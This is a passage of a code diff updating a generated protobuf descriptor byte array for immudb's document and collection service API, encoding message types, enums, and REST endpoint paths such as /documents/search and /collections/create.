0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, + 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, + 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, + 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, + 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, + 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, + 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, + 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, 0x0b, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, + 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, - 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, + 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, - 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, - 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, - 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, - 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, - 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, - 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, - 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, - 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 